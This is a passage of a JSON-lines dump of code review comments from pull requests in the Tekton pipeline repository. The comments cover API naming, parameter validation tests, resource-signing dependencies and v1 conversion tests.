"pipeline"} +{"author": "jerop", "body": "this description does not match what the test is doing, or am i missing something? \ud83e\udd14 \r\n\r\n```suggestion\r\n\t\tname: \"referencing existent finally task result\",\r\n```", "comment_id": 935841247, "created_at": "2022-08-02T17:16:25Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done", "comment_id": 939178234, "created_at": "2022-08-05T19:53:38Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done", "comment_id": 939178333, "created_at": "2022-08-05T19:53:49Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done", "comment_id": 939178440, "created_at": "2022-08-05T19:54:00Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done", "comment_id": 939178657, "created_at": "2022-08-05T19:54:20Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "jerop", "body": "@vsinghai this is no longer used, please remove it ", "comment_id": 939179666, "created_at": "2022-08-05T19:56:09Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done", "comment_id": 939795595, "created_at": "2022-08-08T03:30:38Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done", "comment_id": 939795631, "created_at": "2022-08-08T03:30:47Z", "line": 4803, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done", "comment_id": 939795667, "created_at": "2022-08-08T03:30:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done", "comment_id": 939797504, "created_at": "2022-08-08T03:37:14Z", "line": 19, "path": "examples/v1beta1/pipelineruns/pipelinerun-with-final-results.yaml", "pr_number": 5170, "repo": "pipeline"} +{"author": "jerop", "body": "clarifying the wording, and the TEP reference is not needed in user documentation\r\n\r\n```suggestion\r\nIn this example, `pipelineResults` in `status` will show the name-value pair for the result `comment-count-validate` which is produced in the `Task` `example-task-name`.\r\n```", "comment_id": 940305556, "created_at": "2022-08-08T14:25:46Z", "line": null, "path": "docs/pipelines.md", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done, thank you!", "comment_id": 940314801, "created_at": "2022-08-08T14:33:52Z", "line": null, "path": "docs/pipelines.md", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: this should probably be named \"echo-params\"", "comment_id": 928880570, "created_at": "2022-07-25T13:24:18Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-object-param-and-result.yaml", "pr_number": 5197, "repo": "pipeline"} +{"author": "chuangw6", "body": "good catch! changed. Thanks", "comment_id": 930104850, "created_at": "2022-07-26T15:24:33Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-object-param-and-result.yaml", "pr_number": 5197, "repo": "pipeline"} +{"author": "pritidesai", "body": "I was sharing the remote resource spec with a team and came across two different syntaxes. It seems we are implementing it using `params`:\r\n\r\n```\r\ntaskRef:\r\n resolver: git\r\n resource:\r\n - name: url\r\n value: https://github.com/tekton/catalog.git\r\n - name: path\r\n value: /task/golang-fuzz/0.1/golang-fuzz.yaml\r\n - name: branch\r\n value: main\r\n```\r\n\r\nThe [proposal](https://github.com/tektoncd/community/blob/main/teps/0060-remote-resource-resolution.md#proposal) in the Remote Resolution TEP has listed it as:\r\n\r\n```\r\ntaskRef:\r\n resolver: git\r\n resource:\r\n repository_url: https://github.com/tektoncd/catalog.git\r\n branch: main\r\n path: /task/golang-fuzz/0.1/golang-fuzz.yaml\r\n```\r\n\r\nDo we need to update the proposal to reflect `params`? or is it documented somewhere else? ", "comment_id": 927902033, "created_at": "2022-07-22T18:33:26Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "abayer", "body": "Good question! I didn't do the initial implementation, but while I like the `repository_url` etc syntax better, the `- name: url` syntax is simpler to implement, since we don't need to use a `runtime.RawExtension` here for arbitrary YAML. \r\n\r\nSo I'd say the proposal should be updated, yeah.", "comment_id": 927906938, "created_at": "2022-07-22T18:41:15Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "vdemeester", "body": "@abayer to play devil's advocate, we should aim for the API to be the easiest to use (for end-user) than the easiest to implement \ud83d\ude1d ", "comment_id": 928970312, "created_at": "2022-07-25T14:44:54Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "abayer", "body": "Fair point. =) I spent some time this weekend thinking about this - in practice, it probably is easier to go with a simple `map[string]string` than I'd been thinking, given that what we've got now is already just a slice of string name/value pairs anyway. Then, if we hit a situation down the road where we have a need for more complex resolver parameters, we could change that to something like `unstructured.Unstructured` without breaking API compatibility.", "comment_id": 928976149, "created_at": "2022-07-25T14:49:56Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "abayer", "body": "...though it is worth mentioning that changing the syntax will break compatibility with the existing syntax, but that's alpha syntax and probably not at all widely used right now anyway.", "comment_id": 928978395, "created_at": "2022-07-25T14:51:58Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "vdemeester", "body": "> ...though it is worth mentioning that changing the syntax will break compatibility with the existing syntax, but that's alpha syntax and probably not at all widely used right now anyway.\r\n\r\nyeah that's the only reason that was \"against\" changing, but this is behind the alpha feature-flag for that sole reason, so if we properly communicate, I think that is fine.", "comment_id": 928983160, "created_at": "2022-07-25T14:56:10Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d Lemme do that!", "comment_id": 928995248, "created_at": "2022-07-25T15:07:12Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "lbernick", "body": "If we are making breaking changes here I'm wondering if \"resource\" is still the best thing to call this field? it's a very overloaded term in tekton. ", "comment_id": 930039288, "created_at": "2022-07-26T14:30:08Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resolver_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "abayer", "body": "Very good question! I am not a fan of `resource` here - it's not really clear what it means in the first place. I feel like just `params` would work, though since `params` is used in a bunch of places with different syntax than here, I'm not sure if that's ideal...", "comment_id": 930047528, "created_at": "2022-07-26T14:36:28Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resolver_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "vdemeester", "body": "In the TEP, we used `resource` ? I'd rather go with `params` or\u00a0`values` than `resource` indeed.", "comment_id": 930156481, "created_at": "2022-07-26T16:08:20Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resolver_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "dibyom", "body": "not for this PR but at some point we should get rid of the \"common\" package and just have the helper function in better named packages", "comment_id": 932654874, "created_at": "2022-07-28T20:45:35Z", "line": 22, "path": "pkg/apis/resolution/v1alpha1/resolution_request_validation.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "abayer", "body": "Good idea - I'll do that in the PR where I move that package in.", "comment_id": 932665569, "created_at": "2022-07-28T20:59:50Z", "line": 22, "path": "pkg/apis/resolution/v1alpha1/resolution_request_validation.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "jerop", "body": "the reason why it was implemented as such was because of K8s convention: \"Lists of named subobjects preferred over maps\" - as discussed in https://github.com/kubernetes/community/blob/master/contributors/devel/sig-architecture/api-conventions.md#lists-of-named-subobjects-preferred-over-maps and https://github.com/kubernetes/kubernetes/issues/2004\r\n\r\nand we listed in https://github.com/tektoncd/community/blob/main/design-principles.md#api-conventions that Tekton API should comply with the K8s API conventions\r\n\r\n", "comment_id": 934674512, "created_at": "2022-08-01T15:46:04Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "jerop", "body": "haha just saw the comments below ", "comment_id": 934675669, "created_at": "2022-08-01T15:47:20Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "vdemeester", "body": "\u2764\ufe0f ", "comment_id": 952711023, "created_at": "2022-08-23T14:35:09Z", "line": 30, "path": "config/300-resolutionrequest.yaml", "pr_number": 5200, "repo": "pipeline"} +{"author": "vdemeester", "body": "That's a shame this goes.. \ud83d\ude05 ", "comment_id": 952711485, "created_at": "2022-08-23T14:35:32Z", "line": 46, "path": "config/300-resolutionrequest.yaml", "pr_number": 5200, "repo": "pipeline"} +{"author": "vdemeester", "body": "I feel we have this defined at least once or twice elsewhere \ud83d\ude1d ", "comment_id": 952717083, "created_at": "2022-08-23T14:40:06Z", "line": 22, "path": "pkg/apis/resolution/v1alpha1/resolution_request_defaults.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "vdemeester", "body": "> and we listed in https://github.com/tektoncd/community/blob/main/design-principles.md#api-conventions that Tekton API should comply with the K8s API conventions\r\n\r\nYeah this is weird \ud83d\ude1d we want to not tied ourselves too much on kubernetes *but* still, we force ourselves to comply to kubernetes API convention \ud83d\ude05.", "comment_id": 952718319, "created_at": "2022-08-23T14:41:08Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "abayer", "body": "We have - I tried to avoid having `pkg/apis/resolution` depend on anything from `pkg/apis/pipeline`, which may have been overkill.", "comment_id": 952722592, "created_at": "2022-08-23T14:44:41Z", "line": 22, "path": "pkg/apis/resolution/v1alpha1/resolution_request_defaults.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "abayer", "body": "...and yeah, I reverted back to the old form for `ResolutionRequest.Spec` so as not to break compatibility. See https://github.com/tektoncd/pipeline/pull/5200#issuecomment-1219463898 =)", "comment_id": 952724162, "created_at": "2022-08-23T14:46:04Z", "line": 64, "path": "pkg/apis/resolution/v1alpha1/resolution_request_types.go", "pr_number": 5200, "repo": "pipeline"} +{"author": "dibyom", "body": "@JeromeJu might have to include this in your V1 PR #5219 ", "comment_id": 930372764, "created_at": "2022-07-26T20:15:16Z", "line": 545, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 5212, "repo": "pipeline"} +{"author": "dibyom", "body": "nit: since there is only one function that is using this helper, we could just move these lines within the test function itself (unless you are planning on adding new tests using the new helper)", "comment_id": 930375589, "created_at": "2022-07-26T20:19:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5212, "repo": "pipeline"} +{"author": "dibyom", "body": "really minor: from reading the test, it seems like we only need a very basic task. Instead of a separate task could we just embed it within the pipeline i.e using a `taskSpec` instead of a `taskRef` to refer to this pipeline", "comment_id": 930376504, "created_at": "2022-07-26T20:20:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5212, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "I see. let me update and also apply in the following work.", "comment_id": 931200034, "created_at": "2022-07-27T15:22:58Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5212, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "nice hint. thanks Dibyo! ", "comment_id": 931200547, "created_at": "2022-07-27T15:23:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5212, "repo": "pipeline"} +{"author": "lbernick", "body": "Curious what's the reason to remove this? I think it's useful to have example usage in the docs as well as in the examples folder", "comment_id": 933297159, "created_at": "2022-07-29T13:53:46Z", "line": null, "path": "docs/tasks.md", "pr_number": 5222, "repo": "pipeline"} +{"author": "chuangw6", "body": "sg! added them back. Thanks", "comment_id": 933330170, "created_at": "2022-07-29T14:27:32Z", "line": null, "path": "docs/tasks.md", "pr_number": 5222, "repo": "pipeline"} +{"author": "lbernick", "body": "this paragraph needs some updates for object params", "comment_id": 933477784, "created_at": "2022-07-29T17:23:56Z", "line": 538, "path": "docs/tasks.md", "pr_number": 5222, "repo": "pipeline"} +{"author": "chuangw6", "body": "Done.", "comment_id": 937114516, "created_at": "2022-08-03T20:33:42Z", "line": 538, "path": "docs/tasks.md", "pr_number": 5222, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "```suggestion\r\n1. Timeout is configured as the maximum running time of a Custom Task Run,\r\n meaning if a run is timeout while retries haven't been exhausted, developers\r\n should fail the custom task.\r\n```", "comment_id": 958697361, "created_at": "2022-08-30T16:29:29Z", "line": null, "path": "docs/runs.md", "pr_number": 5393, "repo": "pipeline"} +{"author": "XinruZhang", "body": "Oppps, thx! updated", "comment_id": 958736734, "created_at": "2022-08-30T17:11:27Z", "line": null, "path": "docs/runs.md", "pr_number": 5393, "repo": "pipeline"} +{"author": "lbernick", "body": "let's keep this test case around but just have it result in a successful validation.", "comment_id": 963761579, "created_at": "2022-09-06T14:12:11Z", "line": 690, "path": "pkg/apis/pipeline/v1/task_validation_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "chuangw6", "body": "Sounds great! Done. Thanks @lbernick", "comment_id": 964220580, "created_at": "2022-09-06T22:15:40Z", "line": 690, "path": "pkg/apis/pipeline/v1/task_validation_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "lbernick", "body": "I think you might not have pushed these changes?", "comment_id": 966306334, "created_at": "2022-09-08T18:41:01Z", "line": 690, "path": "pkg/apis/pipeline/v1/task_validation_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "lbernick", "body": "I think we'd want to keep the existing test case and add a new one where one of the keys is provided by the default", "comment_id": 966308074, "created_at": "2022-09-08T18:42:32Z", "line": 265, "path": "pkg/reconciler/pipelinerun/resources/validate_params_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "lbernick", "body": "again could you keep the existing test case and add a new one?", "comment_id": 966309465, "created_at": "2022-09-08T18:43:50Z", "line": 166, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "lbernick", "body": "could you add a test case where the default defines a value for one of the keys and that value is overridden by the taskRun?", "comment_id": 966309930, "created_at": "2022-09-08T18:44:29Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "lbernick", "body": "we might still want to validate for taskruns with inline task specs that all the keys have values defined somewhere.", "comment_id": 966310170, "created_at": "2022-09-08T18:44:53Z", "line": 802, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "chuangw6", "body": "It's under the valid test cases called `valid params type explicit` and the param name is `myobjWithDefaultPartialKeys`.", "comment_id": 967219822, "created_at": "2022-09-09T15:43:37Z", "line": 690, "path": "pkg/apis/pipeline/v1/task_validation_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "chuangw6", "body": "SG! I reverted back the original test (but just renamed the name to `myObjWithoutDefault`) and added new test (named `myObjWithDefault`).", "comment_id": 967243366, "created_at": "2022-09-09T16:09:29Z", "line": 166, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "chuangw6", "body": "SG! Reverted the old test back and add this new one.", "comment_id": 967244279, "created_at": "2022-09-09T16:10:33Z", "line": 265, "path": "pkg/reconciler/pipelinerun/resources/validate_params_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "chuangw6", "body": "This newly added test `myObjWithDefault` might be also the one that you mentioned \"we might still want to validate for taskruns with inline task specs that all the keys have values defined somewhere.\" It is simulating that the taskspec has 3 keys and default provides a value for `key1` and `key3`, taskrun provides a value for `key2` and `key3`.\r\nPlease let me know otherwise.", "comment_id": 967250399, "created_at": "2022-09-09T16:18:02Z", "line": 166, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "chuangw6", "body": "[this](https://github.com/tektoncd/pipeline/pull/5427/files#diff-e5039733a366256d36ca2680d4f7ea1fab71fd2fc78d0526ba9a13ba511af4a2R158-R202) might cover this case. Please let me know otherwise.", "comment_id": 967256327, "created_at": "2022-09-09T16:24:53Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "chuangw6", "body": "see this [comment](https://github.com/tektoncd/pipeline/pull/5427#discussion_r967250399)", "comment_id": 967256542, "created_at": "2022-09-09T16:25:10Z", "line": 802, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "lbernick", "body": "I was actually thinking we could validate in the admission webhook in addition to the validation that exists in the reconciler for taskruns with inline task specs. This would mean the admission webhook can reject the taskrun instead of having the reconciler fail the taskrun. but what you have here is OK", "comment_id": 967309684, "created_at": "2022-09-09T17:21:19Z", "line": 166, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "chuangw6", "body": "Aha I see what you mean. Thanks for clarification.\r\nYeah, the validation against params across task and taskrun is done on the reconciler side specifically `pkg/reconciler/taskrun/validate_resources.go` file i.e. checking if a param `foo` of string type declared in task spec is provided with a value of an array type, checking missing params and checking missing keys for object param across default and taskrun value etc.", "comment_id": 967386204, "created_at": "2022-09-09T19:06:44Z", "line": 166, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah can you leave this function as is? I'm planning to use it in Chains. I think initially you are making this function public because I need to do keys comparisons in Chains, is it?", "comment_id": 968510281, "created_at": "2022-09-12T14:43:14Z", "line": 417, "path": "pkg/apis/pipeline/v1/task_validation.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "ywluogg", "body": "Oh NVM because you are not using this function anymore in Pipeline, I will create this one in Chains then. Please ignore the previous commnent", "comment_id": 968512996, "created_at": "2022-09-12T14:45:23Z", "line": 417, "path": "pkg/apis/pipeline/v1/task_validation.go", "pr_number": 5427, "repo": "pipeline"} +{"author": "abayer", "body": "I'm assuming we'd create constants for supported strategies?", "comment_id": 974357619, "created_at": "2022-09-19T14:55:39Z", "line": 726, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5501, "repo": "pipeline"} +{"author": "lbernick", "body": "definitely!", "comment_id": 974360025, "created_at": "2022-09-19T14:57:48Z", "line": 726, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5501, "repo": "pipeline"} +{"author": "abayer", "body": "Just making sure. =)", "comment_id": 974366921, "created_at": "2022-09-19T15:02:33Z", "line": 726, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5501, "repo": "pipeline"} +{"author": "vdemeester", "body": "Those would be \"populated\" by the `PipelineRun` params ?\r\nWhat happens if there is a mismatch between `PipelineRun`'s params and that `ConcurrencyControl` params?", "comment_id": 975090479, "created_at": "2022-09-20T09:10:29Z", "line": 14, "path": "docs/concurrency.md", "pr_number": 5501, "repo": "pipeline"} +{"author": "lbernick", "body": "> Those would be \"populated\" by the `PipelineRun` params ?\r\n\r\nyup!\r\n\r\n> What happens if there is a mismatch between `PipelineRun`'s params and that `ConcurrencyControl` params?\r\n\r\nWe would probably fail the PipelineRun (not sure how a separate controller outside of pipelines would do that though) or cancel it.\r\n\r\n", "comment_id": 975466250, "created_at": "2022-09-20T14:46:15Z", "line": 14, "path": "docs/concurrency.md", "pr_number": 5501, "repo": "pipeline"} +{"author": "github-advanced-security[bot]", "body": "## Size computation for allocation may overflow\n\nThis operation, which is used in an [allocation](1), involves a potentially large [value](2) and might overflow.\n\n[Show more details](https://github.com/tektoncd/pipeline/security/code-scanning/6)", "comment_id": 979055997, "created_at": "2022-09-23T20:51:28Z", "line": null, "path": "third_party/github.com/letsencrypt/boulder/goodkey/blocked.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "github-advanced-security[bot]", "body": "## Size computation for allocation may overflow\n\nThis operation, which is used in an [allocation](1), involves a potentially large [value](2) and might overflow.\n\n[Show more details](https://github.com/tektoncd/pipeline/security/code-scanning/7)", "comment_id": 979055998, "created_at": "2022-09-23T20:51:28Z", "line": null, "path": "third_party/github.com/letsencrypt/boulder/goodkey/blocked.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Looks like these are unnecessary tabs introduced.", "comment_id": 979059305, "created_at": "2022-09-23T20:57:15Z", "line": null, "path": "pkg/client/resource/clientset/versioned/fake/register.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!!", "comment_id": 980151011, "created_at": "2022-09-26T15:05:41Z", "line": null, "path": "pkg/client/resource/clientset/versioned/fake/register.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This function is not used in other packages at this commit, I guess we should make them unexported?", "comment_id": 980480540, "created_at": "2022-09-26T20:39:46Z", "line": null, "path": "pkg/reconciler/trustedresources/sign.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "wlynch", "body": "I'd drop the signing from this PR, since the pipeline controller will primarily be interested in verification only. (signing will likely be more relevant for CLI / CLI plugin).\r\n\r\nIn generaly, I'd avoid taking on the cosign dependency unless it's absolutely necessary - as you can see from the vendor directory, there's a ton of dependencies.", "comment_id": 980512627, "created_at": "2022-09-26T21:17:37Z", "line": null, "path": "pkg/reconciler/trustedresources/sign.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "wlynch", "body": "I'm remembering now - you're using this for testing.\r\n\r\nIt looks like you're using cosign mostly for the key generation - you can drop this in favor of generating + loading the key directly via one of the load functions in https://pkg.go.dev/github.com/sigstore/sigstore/pkg/signature\r\n\r\ne.g. you could replace most of this with something like:\r\n\r\n```go\r\nkey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\r\nif err ...\r\nsv, err := signature.LoadECDSASignerVerifier(key, crypto.SHA256)\r\nif err ...\r\nreturn sv\r\n```", "comment_id": 980518052, "created_at": "2022-09-26T21:25:49Z", "line": null, "path": "pkg/reconciler/trustedresources/sign.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "wlynch", "body": "I think the preferred way of doing this is is to import `knative.dev/pkg/testing`.\r\n\r\nI'm also curious why you need this if we're not verifying any controller functionality yet \ud83e\udd14 ", "comment_id": 980518847, "created_at": "2022-09-26T21:26:57Z", "line": null, "path": "pkg/reconciler/trustedresources/verify_test.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "wlynch", "body": "if/when you need the multi-algo sv creator, use https://pkg.go.dev/github.com/sigstore/sigstore/pkg/signature#LoadSignerVerifier", "comment_id": 980522575, "created_at": "2022-09-26T21:32:45Z", "line": null, "path": "pkg/reconciler/trustedresources/sign.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! Thanks! I will try it out!", "comment_id": 980529331, "created_at": "2022-09-26T21:43:38Z", "line": null, "path": "pkg/reconciler/trustedresources/sign.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This should be the piece of code I forgot to remove \ud83e\udd72 ", "comment_id": 980530091, "created_at": "2022-09-26T21:44:58Z", "line": null, "path": "pkg/reconciler/trustedresources/verify_test.go", "pr_number": 5552, "repo": "pipeline"} +{"author": "lbernick", "body": "the CRDs in this file should be v1", "comment_id": 984613802, "created_at": "2022-09-30T13:45:57Z", "line": null, "path": "examples/v1/pipelineruns/pipelinerun-with-final-results.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "can this be changed? these features have been added", "comment_id": 984614904, "created_at": "2022-09-30T13:47:06Z", "line": null, "path": "examples/v1/pipelineruns/pipelinerun-with-final-tasks.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "same here", "comment_id": 984615169, "created_at": "2022-09-30T13:47:23Z", "line": null, "path": "examples/v1/pipelineruns/pipelinerun.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "same here", "comment_id": 984615387, "created_at": "2022-09-30T13:47:38Z", "line": null, "path": "examples/v1/pipelineruns/pipelinerun.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "chuangw6", "body": "nit: we might want to delete this? \ud83d\udc40 ", "comment_id": 984631949, "created_at": "2022-09-30T14:03:49Z", "line": null, "path": "1", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Fixed.\r\n\r\nSorry was still debugging on this as if I changed to v1, will have the error\r\n```\r\nError from server (BadRequest): error when creating \"examples/v1/pipelineruns/pipelinerun-with-final-results.yaml\": \r\nadmission webhook \"validation.webhook.pipeline.tekton.dev\" \r\ndenied the request: validation failed: invalid value:\r\n referencing a nonexistent task: spec.results[1].value\r\n```", "comment_id": 984633179, "created_at": "2022-09-30T14:05:07Z", "line": null, "path": "examples/v1/pipelineruns/pipelinerun-with-final-results.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Chuang. Sorry my local vscode config introduces this.", "comment_id": 984639681, "created_at": "2022-09-30T14:11:42Z", "line": null, "path": "1", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "I saw that you removed the code comment here, but what I'm suggesting is actually swapping to using the catalog task (pin the version) so this can serve as an example. Might need to wait on resolvers being enabled by default (part of RR beta PR)", "comment_id": 984828838, "created_at": "2022-09-30T17:58:52Z", "line": null, "path": "examples/v1/pipelineruns/pipelinerun-with-final-tasks.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "XinruZhang", "body": "Let's keep the naming consistent, what about `V1alpha1RunClient` and `V1alpha1ResolutionRequestClient`", "comment_id": 1008202760, "created_at": "2022-10-28T15:39:58Z", "line": null, "path": "test/clients.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "XinruZhang", "body": "I'm thinking if we want to keep this conversion test in both `pull-tekton-pipeline-build-tests` and `pull-tekton-pipeline-alpha-integration-tests`, which means we may need to write different test cases for different feature-gate values.", "comment_id": 1008347979, "created_at": "2022-10-28T18:40:22Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "XinruZhang", "body": "An example: \r\n\r\nhttps://github.com/tektoncd/pipeline/blob/1b941d31d7a47c8710cc19bc3b161ce265aa96dc/test/retry_test.go#L50\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/1b941d31d7a47c8710cc19bc3b161ce265aa96dc/test/featureflags.go#L93-L103", "comment_id": 1008348184, "created_at": "2022-10-28T18:40:40Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "XinruZhang", "body": "It's better to add comments here (as well as other two tests) to clarify that this test is testing the conversion from v1beta1 to v1, similar to what you did for `TestTaskCRDConversion`.", "comment_id": 1008350845, "created_at": "2022-10-28T18:44:29Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Xinru.", "comment_id": 1009343905, "created_at": "2022-10-31T12:12:06Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Xinru, changed in https://github.com/tektoncd/pipeline/pull/5701", "comment_id": 1009942676, "created_at": "2022-10-31T23:04:19Z", "line": null, "path": "test/clients.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "After discussion with @dibyom , it feels that keeping the tests in `tekton-pipeline-alpha-integration-tests` would be sufficient since non-alpha tests are also covered.", "comment_id": 1010692495, "created_at": "2022-11-01T17:18:23Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "abayer", "body": "This should be `main`", "comment_id": 1012134928, "created_at": "2022-11-02T18:09:02Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-final-tasks.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "abayer", "body": "This should be `task/git-clone/0.9/git-clone.yaml`", "comment_id": 1012135442, "created_at": "2022-11-02T18:09:39Z", "line": null, "path": "examples/v1/pipelineruns/alpha/pipelinerun-with-final-tasks.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't think we can ignore annotations, as pipelineresources are serialized into annotations.", "comment_id": 1015500967, "created_at": "2022-11-07T14:37:45Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "When using cmp.Diff, the convention is to call `cmp.Diff(want, got)`.", "comment_id": 1015505982, "created_at": "2022-11-07T14:41:58Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "Curious why both `cleanuponinterrupt` and `defer tearDown` are needed?", "comment_id": 1015507236, "created_at": "2022-11-07T14:42:58Z", "line": 809, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I would love to discard that if there's any way I could circumvent the following release being generated:\r\n\r\n```\r\n\u00b1 |v1-release \u2192 